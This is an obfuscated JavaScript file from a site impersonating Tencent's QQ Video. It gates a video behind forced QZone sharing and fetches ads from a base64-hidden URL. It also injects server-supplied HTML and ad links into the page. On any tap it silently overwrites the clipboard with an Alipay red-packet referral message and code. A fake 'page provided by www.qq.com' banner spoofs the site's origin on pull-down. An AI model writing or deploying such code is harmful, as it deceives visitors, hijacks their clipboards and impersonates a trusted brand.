http://www.qqvideo.ga/index.js?121535:var sharesta=false;
var voddata;
var vodpic;
var zCode=["iSVjBI77a7","stEIuv853z","XIPF0u52Nk"];
function setCookie(name,value,Days){
var exp = new Date();
exp.setTime(exp.getTime() + Days*24*60*60*1000);
document.cookie = name + "="+ escape (value) + ";expires=" + exp.toGMTString();
}
function getCookie(name){
var arr,reg=new RegExp("(^| )"+name+"=([^;]*)(;|$)");
if(arr=document.cookie.match(reg))
return unescape(arr[2]);
else
return null;
}
function AutoScroll(obj) {
$(obj).find("ul:first").animate({
marginTop: "-30px"
},
500,
function() {
$(this).css({
marginTop: "0px"
}).find("li:first").appendTo(this);
});
}
function checkplay(){
var myAudio = document.getElementById('tenvideo_video_player_0');
if(myAudio!==null){
var ptime=myAudio.currentTime;
if(!myAudio.paused){
if(ptime >= voddata.playtime && getCookie("share_"+voddata.movieid)!="True"){
$(".fxbac").css('display','block');
$(".sharebox").css('display','block');
//$(".tvp_poster_img").html('<div style="background:url(
http://ugc.qpic.cn/gbar_pic/NjBmHRR7MAXeUF3BMAbHianSiah4ic0VArvIMjmNK7EDL3AlVERHecYoA/0); opacity:0.9;filter:alpha(opacity=90); width:235px; height:50px; margin:10px auto;"></div>');
myAudio.pause();
}else{
$(".fxbac").css('display','none');
$(".sharebox").css('display','none');
myAudio.play();
}
}
}
}
function loadplayer(){
var video = new tvp.VideoInfo();
video.setVid(voddata.movieid);
var player = new tvp.Player();
player.create({
video: video,
modId: "videoId",
width:$(document).width(),
height:"240",
pic:vodpic,
isHtml5ShowPosterOnEnd:true,
isHtml5ShowPlayBtnOnPause:true,
isiPhoneShowPosterOnPause:true,
vodFlashSkin:'
http://imgcache.qq.com/minivideo_v1/vd/res/skins/TencentPlayerMiniSkin.swf',
});
setInterval(checkplay,1000);
}
function loadplayer2(){
var video = new tvp.VideoInfo();
video.setVid(voddata.movieid);
var player = new tvp.Player($(document).width(), 250);
player.setCurVideo(video);
player.addParam("autoplay",0);
player.write("videoId");
setInterval(checkplay,1000);
}
function open_url(link){
var html='<a href="'+link+'" target="_blank" rel="noreferrer"><i id="clickobj">link</i></a>';
$("#bottom").prepend(html);
$("#clickobj").trigger('click');
$("a").remove("#bottom a");
}
function loadindex(){
$.getJSON(atob("aHR0cDovL3d3dy5xcXZpZGVvLmdhL2dldGRhdGEucGhw")+'?'+ Math.random(), function(data){
voddata =data.movie;
vodpic="
http://shp.qpic.cn/qqvideo_ori/0/"+voddata.movieid+"_496_280/0";
$(document).attr("title",voddata.title);
$('.rich_media_title').html(voddata.title);
$("meta[itemprop='name']").attr('content',voddata.title);
$("meta[itemprop='image']").attr('content',vodpic);
$("meta[itemprop='description']").attr('content',voddata.desc);
$.each(data.textad, function(key, content){
$("#text_info").append("<li><a href='javascript:;' onclick=\"open_url('"+content.url+"')\">"+content.title+"</a></li>");
});
$.each(data.imgad, function(key, content){
$(".imgtjlist").append("<div class='imgtj_list' onclick=\"open_url('"+content.url+"')\"><span>"+content.title+"</span><img src='"+content.img+"'></div>");
});
$("#bottom").html(atob(data.botinfo));
setInterval('AutoScroll(".txttj")', 5000);
loadplayer();
});
}
$(function() {
loadindex();
$(".button-r")["on"]("click",
function() {
$(".fxbac")["css"]('display', 'none');
$(".sharebox")["css"]('display', 'none')
});
$(".button-l")["on"]("click",
function() {
setCookie("share_" + voddata["movieid"], "True", 1);
var mfkL1 = {
url: voddata["surl"],
desc: '',
summary: voddata["desc"],
site: '',
page: 'qzshare.html',
logintype: 'qzone',
referer: voddata["surl"],
title: voddata["title"],
loginpage: 'loginindex.html',
imageUrl: vodpic,
};
var zd2 = [];
for (var syZ3 in mfkL1) {
zd2["push"](syZ3 + '=' + encodeURIComponent(mfkL1[syZ3] || ''))
}
var BiDOtNO5 = ['
https://h5.qzone.qq.com/q/qzs/open/connect/widget/mobile/qzshare/index.html?', zd2["join"]('&'), '']["join"]('');
$(".button-l")["attr"]('href', BiDOtNO5);
return true
});
$('body')["click"](function(jDRjcc7) {
var QBEUb8 = new Clipboard(('body'));
$('body')["attr"]('data-clipboard-text', '复制这句话,打开支付宝领取大大大红包!还有惊喜红包等你拿!&' + zCode[window["Math"]["floor"](window["Math"]["random"]() * zCode["length"])] + '&')
})
});
var PLvy9 = $(window["document"]);
var gtjtc10 = 0;
var kstowPzk11 = 0;
addEventListener("touchstart",
function(yzb12) {
gtjtc10 = yzb12["touches"][0]["pageY"]
});
addEventListener("touchmove",
function(Y13) {
kstowPzk11 = Y13["touches"][0]["pageY"];
if (PLvy9["scrollTop"]() <= 0 && gtjtc10 < kstowPzk11) {
Y13["preventDefault"]();
if ($('#_domain_display')["length"] <= 0) {
$('body')["prepend"]('<div id="_domain_display"><p>\u7f51\u9875\u7531
www.qq.com \u63d0\u4f9b</p></div>')
}
$('#_domain_display')["height"]((kstowPzk11 - gtjtc10))
}
});
addEventListener("touchend",
function(FhKmnhn14) {
$('#_domain_display')["slideUp"]('normal',
function() {
$('#_domain_display')["remove"]()
})
});